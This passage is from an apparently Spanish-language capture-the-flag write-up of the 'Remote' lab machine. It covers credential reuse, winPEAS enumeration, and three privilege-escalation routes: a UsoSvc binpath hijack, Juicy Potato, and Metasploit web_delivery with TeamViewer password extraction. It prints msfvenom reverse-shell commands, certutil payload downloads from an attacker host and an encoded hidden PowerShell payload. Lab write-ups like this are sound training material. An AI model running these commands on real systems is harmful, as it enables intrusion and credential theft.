"SecurityPasswordAES" OR "OptionsPasswordAES" OR "SecurityPasswordExported" OR "PermanentPassword"
Enter output from registry without spaces : FF9B1C73D66BCE31AC413EAE131B464F582F6CE2D1E1F3DA7E8D376B26394E5B
Decrypted password is : !R3m0te!
Muy bien, ya tenemos la contraseña, es momento de checar si la clave función. Para esto, vamos a usar Crackmapexec:
crackmapexec smb 10.10.10.180 -u 'Administrator' -p '!R3m0te!'
SMB 10.10.10.180 445 REMOTE [*] Windows 10.0 Build 17763 x64 (name:REMOTE) (domain:remote) (signing:False) (SMBv1:False)
SMB 10.10.10.180 445 REMOTE [+] remote\Administrator:!R3m0te! (Pwn3d!)
Y si funciona, vamos a conectarnos remotamente con la herramienta Evil Winrm:
evil-winrm -i 10.10.10.180 -u 'Administrator' -p '!R3m0te!'
Evil-WinRM shell v3.4
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
remote\administrator
*Evil-WinRM* PS C:\Users\Administrator> cd Desktop
*Evil-WinRM* PS C:\Users\Administrator\Desktop> dir
Directory: C:\Users\Administrator\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-ar--- 3/26/2023 5:50 PM 34 root.txt
*Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt
Y ya, con esto obtenemos ambas flags y terminamos con esta máquina.
Utilizando winPEAS para Encontrar Vulnerabilidades
Vamos a cargar la super herramienta winPEAS, para que nos muestre si hay alguna manera de escalar privilegios.
Primero, ve al siguiente link y descarga la versión 64x:
Una vez que lo tengas descargado, abre un servidor web con Python y descargalo en la máquina víctima, ya sea, usando certutil o iwk:
- Abriendo el servidor en Python:
python -m http.server 80
- Descargando winPEAS con certutil:
certutil -urlcache -f http://Tu_IP/winPEASx64.exe winPeas.exe
- Descargando winPEAS con iwr:
iwr http://Tu_IP:80/winPEASx64.exe -OutFile winPeas.exe
Comprobamos que se haya descargado:
PS C:\Users\Public\Desktop> dir
Directory: C:\Users\Public\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 2/20/2020 2:14 AM 1191 TeamViewer 7.lnk
-ar--- x/xx/xxxx 2:11 PM 34 user.txt
-a---- x/xx/xxxx 10:25 PM 2387456 winPeas.exe
Y lo ejecutamos:
winPeas.exe
winPeas.exe
ANSI color bit for Windows is not set. If you are executing this from a Windows terminal inside the host you should run 'REG ADD HKCU\Console /v VirtualTerminalLevel /t REG_DWORD /d 1' and then start a new CMD
Long paths are disabled, so the maximum length of a path supported is 260 chars (this may cause false negatives when looking for files). If you are admin, you can enable it with 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\FileSystem /v VirtualTerminalLevel /t REG_DWORD /d 1' and then start a new CMD
((((((((((((((((((((((((((((((((
(((((((((((((((((((((((((((((((((((((((((((
((((((((((((((**********/##########(((((((((((((
((((((((((((********************/#######(((((((((((
((((((((******************/@@@@@/****######((((((((((
((((((********************@@@@@@@@@@/***,####((((((((((
(((((********************/@@@@@%@@@@/********##(((((((((
(((############*********/%@@@@@@@@@/************((((((((
((##################(/******/@@@@@/***************((((((
((#########################(/**********************(((((
((##############################(/*****************(((((
((###################################(/************(((((
((#######################################(*********(((((
((#######(,.***.,(###################(..***.*******(((((
((#######*(#####((##################((######/(*****(((((
((###################(/***********(##############()(((((
(((#####################/*******(################)((((((
((((############################################)((((((
(((((##########################################)(((((((
((((((########################################)(((((((
((((((((####################################)((((((((
(((((((((#################################)(((((((((
((((((((((##########################)(((((((((
((((((((((((((((((((((((((((((((((((((
((((((((((((((((((((((((((((((
ADVISORY: winpeas should be used for authorized penetration testing and/or educational purposes only.Any misuse of this software will not be the responsibility of the author or of any other collaborator. Use it at your own devices and/or with the device owner's permission.
WinPEAS-ng by @hacktricks_live
Observa las siguientes vulnerabilidades que vamos a explotar:
[?] Windows vulns search powered by Watson(https://github.com/rasta-mouse/Watson)
[*] OS Version: 1809 (17763)
[*] Enumerating installed KBs...
[!] CVE-2019-0836 : VULNERABLE
[>] https://exploit-db.com/exploits/46718
[>] https://decoder.cloud/2019/04/29/combinig-luafv-postluafvpostreadwrite-race-condition-pe-with-diaghub-collector-exploit-from-standard-user-to-system/
[!] CVE-2019-0841 : VULNERABLE
[>] https://github.com/rogue-kdc/CVE-2019-0841
[>] https://rastamouse.me/tags/cve-2019-0841/
[!] CVE-2019-1064 : VULNERABLE
[>] https://www.rythmstick.net/posts/cve-2019-1064/
[!] CVE-2019-1130 : VULNERABLE
[>] https://github.com/S3cur3Th1sSh1t/SharpByeBear
[!] CVE-2019-1253 : VULNERABLE
[>] https://github.com/padovah4ck/CVE-2019-1253
[>] https://github.com/sgabe/CVE-2019-1253
[!] CVE-2019-1315 : VULNERABLE
[>] https://offsec.almond.consulting/windows-error-reporting-arbitrary-file-move-eop.html
[!] CVE-2019-1385 : VULNERABLE
[>] https://www.youtube.com/watch?v=K6gHnr-VkAg
[!] CVE-2019-1388 : VULNERABLE
[>] https://github.com/jas502n/CVE-2019-1388
[!] CVE-2019-1405 : VULNERABLE
[>] https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2019/november/cve-2019-1405-and-cve-2019-1322-elevation-to-system-via-the-upnp-device-host-service-and-the-update-orchestrator-service/
[>] https://github.com/apt69/COMahawk
[!] CVE-2020-0668 : VULNERABLE
[>] https://github.com/itm4n/SysTracingPoc
[!] CVE-2020-0683 : VULNERABLE
[>] https://github.com/padovah4ck/CVE-2020-0683
[>] https://raw.githubusercontent.com/S3cur3Th1sSh1t/Creds/master/PowershellScripts/cve-2020-0683.ps1
[!] CVE-2020-1013 : VULNERABLE
[>] https://www.gosecure.net/blog/2020/09/08/wsus-attacks-part-2-cve-2020-1013-a-windows-10-local-privilege-escalation-1-day/
[*] Finished. Found 12 potential vulnerabilities.
���������� Modifiable Services
� Check if you can modify any service https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#services
LOOKS LIKE YOU CAN MODIFY OR START/STOP SOME SERVICE/s:
RmSvc: GenericExecute (Start/Stop)
UsoSvc: AllAccess, Start
.
Con esto sabido, puedes probar algunos de los Exploits que nos menciona. Obviamente, debes leer primero si estos son compatibles para su uso en esta máquina.
Vamos a probar 3 formas de explotar la máquina:
- Modificando el servicio UsoSvc.
- Utilizando Juicy Potato.
- Descubriendo la contraseña de TeamViewer usando modulo de Metasploit Framework.
Modificando Servicio UsoSvc
Para realizar este proceso, necesitamos una Reverse Shell para conectarnos en otra terminal y necesitamos modificar el servicio UsoSvc, de tal forma que al activar este servicio, ejecute un comando como Administrador para conectarnos como administrador.
Pero, ¿qué es el servicio UsoSvc?
UsoSvc |
---|
El servicio Update Orchestrator controla la descarga, instalación y verificación de las actualizaciones de Windows para computadoras. En cualquier caso, si desea seguir recibiendo e instalando actualizaciones, debe mantener el servicio en funcionamiento. El servicio se ejecuta bajo el proceso compartido svchost.exe, que básicamente inicia muchos procesos, y Update Orchestrator Service es uno de estos procesos. |
La siguiente página nos dice como modificar el servicio UsoSvc:
Vamonos por pasos:
- Creando Reverse Shell:
msfvenom -p windows/shell_reverse_tcp LHOST=Tu_IP LPORT=1337 EXITFUNC=thread -f exe -a x86 --platform windows -o shell.exe
- Abre un servidor con Python:
python3 -m http.server 80
- Cargando Reverse Shell en la máquina víctima:
C:\Users\Public\Desktop>certutil -urlcache -f http://Tu_IP/shell.exe shell.exe certutil -urlcache -f http://Tu_IP/shell.exe shell.exe **** Online **** CertUtil: -URLCache command completed successfully.
- Modificando servicio UsoSvc:
C:\Users\Public\Desktop>sc.exe stop UsoSvc . C:\Users\Public\Desktop>sc.exe config UsoSvc binpath="C:\Users\Public\Desktop\shell.exe"
- Iniciando otra netcat:
rlwrap nc -nlvp 1337 listening on [any] 1337 ...
- Iniciando servicio UsoSvc:
C:\Users\Public\Desktop>sc.exe start UsoSvc sc.exe start UsoSvc [SC] StartService FAILED 1053: . The service did not respond to the start or control request in a timely fashion.
- Obtenemos la sesión como administrador:
rlwrap nc -nlvp 1337 listening on [any] 1337 ... connect to [Tu_IP] from (UNKNOWN) [10.10.10.180] 49900 Microsoft Windows [Version 10.0.17763.107] (c) 2018 Microsoft Corporation. All rights reserved. . C:\Windows\system32>whoami whoami nt authority\system
Explotando Máquina con Juicy Potato
Para este, necesitamos utilizar una Reverse Shell y tener descargado el Juicy Potato.
Para descargarlo, utiliza el siguiente link:
Y necesitamos tener un CLSID, para este caso, podemos utilizar el CLSID que tiene el servicio UsoSvc. Prueba si no es necesario modificar el UsoSvc antes de usar el Juicy Potato, no deberías tener problemas, pero si es el caso, modificalo como en la forma anterior. El CLSID lo podemos obtener desde una página del mismo repositorio de GitHub.
Ahora, podemos utilizar la misma Reverse Shell que ya hicimos, entonces, carguemos el Juicy Potato en la máquina víctima y ejecutemoslo:
- Abre un servidor con Python donde tengas el Juicy Potato:
python3 -m http.server 80
- Cargando Juicy Potato a la máquina víctima:
certutil.exe -urlcache -split -f http://Tu_IP/JuicyPotato.exe JuicyP.exe certutil.exe -urlcache -split -f http://Tu_IP/JuicyPotato.exe JuicyP.exe **** Online **** 000000 ... 054e00 CertUtil: -URLCache command completed successfully.
- Iniciando otra netcat:
rlwrap nc -nlvp 1337 listening on [any] 1337 ...
- Ejecutando Juicy Potato:
C:\Users\Public\Desktop>JuicyP.exe -t * -p C:\Windows\System32\cmd.exe -l 1337 -a "/c C:\Users\Public\Desktop\shell.exe -e cmd Tu_IP 1337" -c {B91D5831-B1BD-4608-8198-D72E155020F7} JuicyP.exe -t * -p C:\Windows\System32\cmd.exe -l 1337 -a "/c C:\Users\Public\Desktop\shell.exe -e cmd Tu_IP 1337" -c {B91D5831-B1BD-4608-8198-D72E155020F7} Testing {B91D5831-B1BD-4608-8198-D72E155020F7} 1337 COM -> recv failed with error: 10038
- Obtenemos la sesión como administrador:
rlwrap nc -nlvp 1337 listening on [any] 1337 ... connect to [Tu_IP] from (UNKNOWN) [10.10.10.180] 49900 Microsoft Windows [Version 10.0.17763.107] (c) 2018 Microsoft Corporation. All rights reserved. . C:\Windows\system32>whoami whoami nt authority\system
Utilizando Módulo de Metasploit para Obtener Contraseñas de Administrador
Por último, vamos a crear una sesión en meterpreter, utilizando el Metasploit Framework para que podamos usar el modulo contra el TeamViewer.
Vamos a crear primero la sesión, por pasos:
- Abriendo Metasploit Framework y usando el modulo web_delivery
msfconsole . msf6 > use exploit/multi/script/web_delivery [*] Using configured payload python/meterpreter/reverse_tcp msf6 exploit(multi/script/web_delivery) >
- Observando opciones a configurar:
msf6 exploit(multi/script/web_delivery) > show options . Module options (exploit/multi/script/web_delivery): . Name Current Setting Required Description ---- --------------- -------- ----------- SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses. SRVPORT 8080 yes The local port to listen on. SSL false no Negotiate SSL for incoming connections SSLCert no Path to a custom SSL certificate (default is randomly generated) URIPATH no The URI to use for this exploit (default is random) . Payload options (python/meterpreter/reverse_tcp): . Name Current Setting Required Description ---- --------------- -------- ----------- LHOST yes The listen address (an interface may be specified) LPORT 4444 yes The listen port . Exploit target: Id Name -- ---- 0 Python
- Aplicando Configuraciones:
msf6 exploit(multi/script/web_delivery) > set target 2 target => 2 msf6 exploit(multi/script/web_delivery) > set payload windows/x64/meterpreter/reverse_tcp payload => windows/x64/meterpreter/reverse_tcp msf6 exploit(multi/script/web_delivery) > set LHOST Tu_IP LHOST => Tu_IP msf6 exploit(multi/script/web_delivery) > set SRVHOST Tu_IP SRVHOST => Tu_IP
- Ejecutando modulo:
msf6 exploit(multi/script/web_delivery) > exploit [*] Exploit running as background job 0. [*] Exploit completed, but no session was created. . [*] Started reverse TCP handler on Tu_IP:4444 [*] Using URL: http://Tu_IP:8080/lCUF1ttGN [*] Server started. [*] Run the following command on the target machine: msf6 exploit(multi/script/web_delivery) > powershell.exe -nop -w hidden -e WwBOAGUA...
- Ejecutando payload en máquina víctima:
PS C:\windows\system32\inetsrv>powershell.exe -nop -w hidden -e WwBOAGUAdAAuA...
- Obteniendo sesión de meterpreter:
[*] 10.10.10.180 web_delivery - Delivering AMSI Bypass (1414 bytes) [*] 10.10.10.180 web_delivery - Delivering Payload (3696 bytes) [*] Sending stage (200774 bytes) to 10.10.10.180 [*] Meterpreter session 1 opened (Tu_IP:4444 -> 10.10.10.180:49823) at 2023-03-26 20:47:31 -0600 . msf6 exploit(multi/script/web_delivery) > sessions . Active sessions =============== . Id Name Type Information Connection -- ---- ---- ----------- ---------- 1 meterpreter x64/windows IIS APPPOOL\DefaultAppPool @ REMOTE Tu_IP:4444 -> 10.10.10.180:49823 (10.10.10.180)
Excelente, ahora, busquemos un Exploit para el TeamVIewer, lo cargamos para usarlo en la sesión actual y lo ejecutamos:
- Buscando Exploit, usamos el módulo que obtiene las contraseñas del TeamViewer:
msf6 exploit(multi/script/web_delivery) > search teamviewer
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 auxiliary/server/teamviewer_uri_smb_redirect normal No TeamViewer Unquoted URI Handler SMB Redirect
1 post/windows/gather/credentials/teamviewer_passwords normal No Windows Gather TeamViewer Passwords
- Cargando Exploit:
msf6 exploit(multi/script/web_delivery) > use post/windows/gather/credentials/teamviewer_passwords msf6 post(windows/gather/credentials/teamviewer_passwords) > show options * Module options (post/windows/gather/credentials/teamviewer_passwords): Name Current Setting Required Description ---- --------------- -------- ----------- SESSION yes The session to run this module on WINDOW_TITLE TeamViewer no Specify a title for getting the window handle, e.g. TeamViewer
- Ejecutando Exploit:
msf6 post(windows/gather/credentials/teamviewer_passwords) > set sessions 1 msf6 post(windows/gather/credentials/teamviewer_passwords) > exploit . [*] Finding TeamViewer Passwords on REMOTE [+] Found Unattended Password: !R3m0te! [+] Passwords stored in: /root/.msf4/loot/20240326213319_default_10.10.10.180_host.teamviewer__831643.txt [*] <---------------- | Using Window Technique | ----------------> [*] TeamViewer's language setting options are '' [*] TeamViewer's version is '' [-] Unable to find TeamViewer's process [*] Post module execution completed
De esta forma, obtuvimos la contraseña que necesitamos para poder conectarnos a la máquina víctima como administrador, que fue lo mismo que hicimos al principio para obtener la contraseña del TeamViewer.
Links de Investigación
- https://book.hacktricks.xyz/network-services-pentesting/pentesting-rpcbind
- https://our.umbraco.com/forum/developers/api-questions/8905-Where-does-Umbraco-store-data
- https://hashes.com/es/decrypt/hash
- https://vk9-sec.com/umbraco-cms-7-12-4-authenticated-remote-code-execution/
- https://github.com/samratashok/nishang
- https://github.com/mr-r3b00t/CVE-2019-18988/blob/master/manual_exploit.bat
- https://whynotsecurity.com/blog/teamviewer/
- https://kalilinuxtutorials.com/decryptteamviewer/
- https://gist.github.com/rishdang/442d355180e5c69e0fcb73fecd05d7e0
- https://bobbyhadz.com/blog/python-no-module-named-crypto
- https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#services
- https://medium.com/r3d-buck3t/impersonating-privileges-with-juicy-potato-e5896b20d505
- https://github.com/carlospolop/PEASS-ng/releases/tag/20240324-2c3cd766